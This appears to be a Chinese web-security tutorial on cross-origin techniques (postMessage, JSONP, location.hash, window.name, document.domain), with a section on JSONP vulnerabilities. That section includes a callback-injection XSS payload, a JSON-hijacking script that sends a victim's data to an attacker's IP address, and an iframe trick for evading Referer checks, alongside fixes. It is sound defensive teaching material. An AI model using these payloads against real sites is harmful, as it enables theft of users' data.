HTML5中最酷的新功能之一就是 跨文档消息传输Cross Document Messaging。下一代浏览器都将支持这个功能:Chrome 2.0+、Internet Explorer 8.0+, Firefox 3.0+, Opera 9.6+, 和 Safari 4.0+ 。 Facebook已经使用了这个功能,用postMessage支持基于web的实时消息传递。

a.com/index.html中的代码:

<iframe id="ifr" src="b.com/index.html"></iframe>
<script type="text/javascript">
window.onload = function() {
var ifr = document.getElementById('ifr');
var targetOrigin = 'http://b.com'; // 若写成'http://b.com/c/proxy.html'效果一样
// 若写成'http://c.com'就不会执行postMessage了
ifr.contentWindow.postMessage('I was there!', targetOrigin);
};
</script>

b.com/index.html中的代码:

<script type="text/javascript">
window.addEventListener('message', function(event){
// 通过origin属性判断消息来源地址
if (event.origin == 'http://a.com') {
alert(event.data); // 弹出"I was there!"
alert(event.source); // 对a.com、index.html中window对象的引用
// 但由于同源策略,这里event.source不可以访问window对象
}
}, false);
</script>

1、Callback可自定义导致的安全问题
Content-type与XSS漏洞
再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞。例如:

<script>
function test(v){
    alert(v.name);
    }
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>

1.php:

<?php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "vincent"});';
?>

访问http://10.59.0.248/1.php?callback=test”><img/src=x onerror=alert(1)>
对于这种漏洞,主要修复手段:
1)严格定义 Content-Type: application / json
2)过滤 callback 以及 JSON 数据输出
针对输出结果进行转码处理,但是需要注意UTF-7 XSS,强制指定 Content-Type里的编码 ( Content-Type: application/json; charset=utf-8 )

2、Json劫持
JSON 劫持又为“ JSON Hijacking ”,这里其实是属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问Json的JS,在用户Cookie未过期的情况下,Json中会返回敏感的用户信息,然后攻击者可以获取到数据,并发送到自己的站点。
回调函数是动态,主要有以下几类情况:
1)完全可控(GET变量)
回调函数在URL中指定,我们可以完全控制它。
2)部分可控,比如附加动态的数字,每个会话都不同
如果附加的数字比较短,可以遍历创建回调函数。
3)完全可控,但是没有显示在原始请求中
最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。
如果我们有以下API调用http://10.59.0.248/1.php,我们可能会尝试猜测回调变量:
http://10.59.0.248/1.php?callback=test
http://10.59.0.248/1.php?cb=test
其他的还有func、function、call、jsonp、jsonpcallback等等。
参考案例:
http://www.codesec.net/view/172245.html

敏感数据获取程序如下:

<script>
function test(data){
    //alert(v.name);
    var xmlhttp = new XMLHttpRequest();
    var url = "http://192.168.192.120/" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>

查看下日志:

需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

如果配置:

header("Content-type: application/json;charset=utf-8");
header("X-Content-Type-Options:nosniff");

Console输出如下:

Refused to execute script from 'http://10.59.0.248/1.php?callback=test' because its MIME type ('application/json') is not executable, and strict MIME type checking is enabled.

常见的修复方案:
1)Referer正则匹配
常见的有Referer匹配正则编写错误导致正则绕过。
另外在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。
<iframe src=”javascript:'<script>function JSON(o){alert(o.name);}</script><script src=http://10.59.0.248/1.php?callback=JSON></script>'”></iframe>

可以看到请求头中没有Referer。
2)添加Token
3)放弃使用Jsonp跨域获取数据,使用CORS或者PostMessage

参考文章:
http://www.mottoin.com/95682.html

JSONP 安全攻防技术

Ajax (XMLHttpRequest)请求受到同源策略的限制。
例如:
http://192.168.192.120/2.html

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://192.168.192.121/1.txt");
xmlhttp.send();
</script>

当使用Ajax请求其他域下的文件时,浏览器会提示

其实Jsonp和ajax没有关系。我们都知道像<script> <iframe> <img>等标签的src属性不受限制。
JSONP就是利用<script>标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。其中callback函数本地文档的JavaScript函数,服务器端动态生成的脚本会产生数据,并在代码中以产生的数据为参数调用callback函数。当这段脚本加载到本地文档时,callback函数就被调用。

JSONP的客户端具体实现:
1、我们知道,哪怕跨域js文件中的代码(当然指符合web脚本安全策略的),web页面也是可以无条件执行的。
远程服务器remoteserver.com根目录下有个remote.js文件代码如下:

alert('我是远程文件');

本地服务器localserver.com下有个jsonp.html页面代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script type="text/javascript" src="http://remoteserver.com/remote.js"></script>
</head>
<body>
</body>
</html>

毫无疑问,页面将会弹出一个提示窗体,显示跨域调用成功。
2、现在我们在jsonp.html页面定义一个函数,然后在远程remote.js中传入数据进行调用。
jsonp.html页面代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script type="text/javascript">
var localHandler = function(data){
alert('我是本地函数,可以被跨域的remote.js文件调用,远程js带来的数据是:' + data.result);
};
</script>
<script type="text/javascript" src="http://remoteserver.com/remote.js"></script>
</head>
<body>
</body>
</html>

remote.js文件代码如下:

localHandler({"result":"我是远程js带来的数据"});

运行之后查看结果,页面成功弹出提示窗口,显示本地函数被跨域的远程js调用成功,并且还接收到了远程js带来的数据。很欣喜,跨域远程获取数据的目的基本实现了,但是又一个问题出现了,我怎么让远程js知道它应该调用的本地函数叫什么名字呢?毕竟是jsonp的服务者都要面对很多服务对象,而这些服务对象各自的本地函数都不相同啊?我们接着往下看。
3、聪明的开发者很容易想到,只要服务端提供的js脚本是动态生成的就行了呗,这样调用者可以传一个参数过去告诉服务端“我想要一段调用XXX函数的js代码,请你返回给我”,于是服务器就可以按照客户端的需求来生成js脚本并响应了。
看jsonp.html页面的代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script type="text/javascript">
// 得到航班信息查询结果后的回调函数
var flightHandler = function(data){
alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');
};
// 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)
var url = "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998&callback=flightHandler";
// 创建script标签,设置其属性
var script = document.createElement('script');
script.setAttribute('src', url);
// 把script标签加入head,此时调用开始
document.getElementsByTagName('head')[0].appendChild(script);
</script>
</head>
<body>
</body>
</html>

这次的代码变化比较大,不再直接把远程js文件写死,而是编码实现动态查询,而这也正是jsonp客户端实现的核心部分,本例中的重点也就在于如何完成jsonp调用的全过程。
我们看到调用的url中传递了一个code参数,告诉服务器我要查的是CA1998次航班的信息,而callback参数则告诉服务器,我的本地回调函数叫做flightHandler,所以请把查询结果传入这个函数中进行调用。
OK,服务器很聪明,这个叫做flightResult.aspx的页面生成了一段这样的代码提供给jsonp.html(服务端的实现这里就不演示了,与你选用的语言无关,说到底就是拼接字符串):

flightHandler({
"code": "CA1998",
"price": 1780,
"tickets": 5
});

我们看到,传递给flightHandler函数的是一个json,它描述了航班的基本信息。运行一下页面,成功弹出提示窗口,jsonp的执行全过程顺利完成!
4、jQuery使用jsonp的代码(我们依然沿用上面那个航班信息查询的例子,假定返回jsonp结果不变):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Untitled Page</title>
<script type="text/javascript" src=jquery.min.js"></script>
<script type="text/javascript">
jQuery(document).ready(function(){
$.ajax({
type: "get",
async: false,
url: "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998",
dataType: "jsonp",
jsonp: "callback",//传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)
jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据
success: function(json){
alert('您查询到航班信息:票价: ' + json.price + ' 元,余票: ' + json.tickets + ' 张。');
},
error: function(){
alert('fail');
}
});
});
</script>
</head>
<body>
</body>
</html>

jquery在处理jsonp类型的ajax时(还是忍不住吐槽,虽然jquery也把jsonp归入了ajax,但其实它们真的不是一回事儿),自动帮你生成回调函数并把数据取出来供success属性方法来调用。

jsonp虽然很简单,但是有如下缺点:
1)安全问题(请求代码中可能存在安全隐患)
2)要确定jsonp请求是否失败并不容易

参考文章:
http://kb.cnblogs.com/page/139725/

原理是利用location.hash来进行传值。在url: http://a.com#helloword中的‘#helloworld’就是location.hash,改变hash并不会导致页面刷新,所以可以利用hash值来进行数据传递,当然数据容量是有限的。假设域名a.com下的文件cs1.html要和cnblogs.com域名下的cs2.html传递信息,cs1.html首先创建自动创建一个隐藏的iframe,iframe的src指向cnblogs.com域名下的cs2.html页面,这时的hash值可以做参数传递用。cs2.html响应请求后再将通过修改cs1.html的hash值来传递数据(由于两个页面不在同一个域下IE、Chrome不允许修改parent.location.hash的值,所以要借助于a.com域名下的一个代理iframe;Firefox可以修改)。同时在cs1.html上加一个定时器,隔一段时间来判断location.hash的值有没有变化,一点有变化则获取获取hash值。代码如下:

先是a.com下的文件cs1.html文件:

<html>
<body>
<script>
var ifr = document.createElement('iframe'); 
ifr.style.display = 'none'; 
ifr.src = 'http://www.cnblogs.com/lab/cscript/cs2.html#paramdo'; 
document.body.appendChild(ifr); 
function checkHash() { 
try { 
var data = location.hash ? location.hash.substring(1) : ''; 
if (console.log) { 
console.log('Now the data is '+data); 
} 
} catch(e) {}; 
} 
setInterval(checkHash, 2000); 
</script>
</body>
</html>

cnblogs.com域名下的cs2.html:

<html>
<body>
<script>
//模拟一个简单的参数处理操作 
switch(location.hash){ 
case '#paramdo': 
callBack(); 
break; 
case '#paramset': 
//do something…… 
break; 
} 

function callBack(){ 
try { 
parent.location.hash = 'somedata'; 
} catch (e) { 
// ie、chrome的安全机制无法修改parent.location.hash, 
// 所以要利用一个中间的cnblogs域下的代理iframe 
var ifrproxy = document.createElement('iframe'); 
ifrproxy.style.display = 'none'; 
ifrproxy.src = 'http://a.com/test/cscript/cs3.html#somedata'; // 注意该文件在"a.com"域下 
document.body.appendChild(ifrproxy); 
} 
} 
</script>
</body>
</html>

a.com下的域名cs3.html

<html>
<body>
<script>
//因为parent.parent和自身属于同一个域,所以可以改变其location.hash的值 
parent.parent.location.hash = self.location.hash.substring(1); 
</script>
</body>
</html>

当然这样做也存在很多缺点,诸如数据直接暴露在了url中,数据容量和类型都有限等……

有三个页面:

a.com/app.html:应用页面。
a.com/proxy.html:代理文件,一般是一个没有任何内容的html文件,需要和应用页面在同一域下。
b.com/data.html:应用页面需要获取数据的页面,可称为数据页面。
实现起来基本步骤如下:
1)
在应用页面(a.com/app.html)中创建一个iframe,把其src指向数据页面(b.com/data.html)。
数据页面会把数据附加到这个iframe的window.name上,data.html代码如下:

<script type="text/javascript">
window.name = 'I was there!'; // 这里是要传输的数据,大小一般为2M,IE和firefox下可以大至32M左右
// 数据格式可以自定义,如json、字符串
</script>

2)
在应用页面(a.com/app.html)中监听iframe的onload事件,在此事件中设置这个iframe的src指向本地域的代理文件(代理文件和应用页面在同一域下,所以可以相互通信)。app.html部分代码如下:

<script type="text/javascript">
var state = 0, 
iframe = document.createElement('iframe'),
loadfn = function() {
if (state === 1) {
var data = iframe.contentWindow.name; // 读取数据
alert(data); //弹出'I was there!'
} else if (state === 0) {
state = 1;
iframe.contentWindow.location = "http://a.com/proxy.html"; // 设置的代理文件
} 
};
iframe.src = 'http://b.com/data.html';
if (iframe.attachEvent) {
iframe.attachEvent('onload', loadfn);
} else {
iframe.onload = loadfn;
}
document.body.appendChild(iframe);
</script>

3)
获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问)。

<script type="text/javascript">
iframe.contentWindow.document.write('');
iframe.contentWindow.close();
document.body.removeChild(iframe);
</script>

总结起来即:iframe的src属性由外域转向本地域,跨域数据即由iframe的window.name从外域传递到本地域。这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作。

参考文章:
http://www.cnblogs.com/rainman/archive/2011/02/21/1960044.html

原理:相同主域名不同子域名下的页面,可以设置 document.domain 让它们同域
限制:同域document提供的是页面间的互操作,需要载入iframe页面
http://testa.cdeledu.com  http://testb.celedu.com可以通过 document.domain 跨域互操作
但只能以页面嵌套的方式来进行页面互操作,比如常见的 iframe 方式就可以完成页面嵌套:
http://testb.cdeledu.com/1.html想读取http://testa.cdeledu.com/remote.html的内容

http://testb.cdeledu.com/1.html代码如下:

<html>
<body>
<script>
//document.domain = 'cdeledu.com'
var ifr = document.createElement('iframe');
ifr.src = 'http://testa.cdeledu.com/remote.html';
ifr.style.display = 'none'; //隐藏元素
document.body.appendChild(ifr);
ifr.onload = function(){
    var doc = ifr.contentDocument || ifr.contentWindow.document;
    alert(doc.getElementsByTagName("h1")[0].innerHTML);
};
</script>
</body>
</html>

http://testa.cdeledu.com/remote.html代码如下:

<script>
//document.domain = 'cdeledu.com'
</script>
<h1>xxxxx</h1>

Console的打印信息如下:
Failed to read the ‘contentDocument’ property from ‘HTMLIFrameElement’: Blocked a frame with origin “http://testb.cdeledu.com” from accessing a cross-origin frame at HTMLIFrameElement.ifr.onload

将两个文件中的//document.domain = ‘cdeledu.com’的注释符去掉。
访问http://testb.cdeledu.com/1.html结果如下:

可以读取到remote.html中的内容。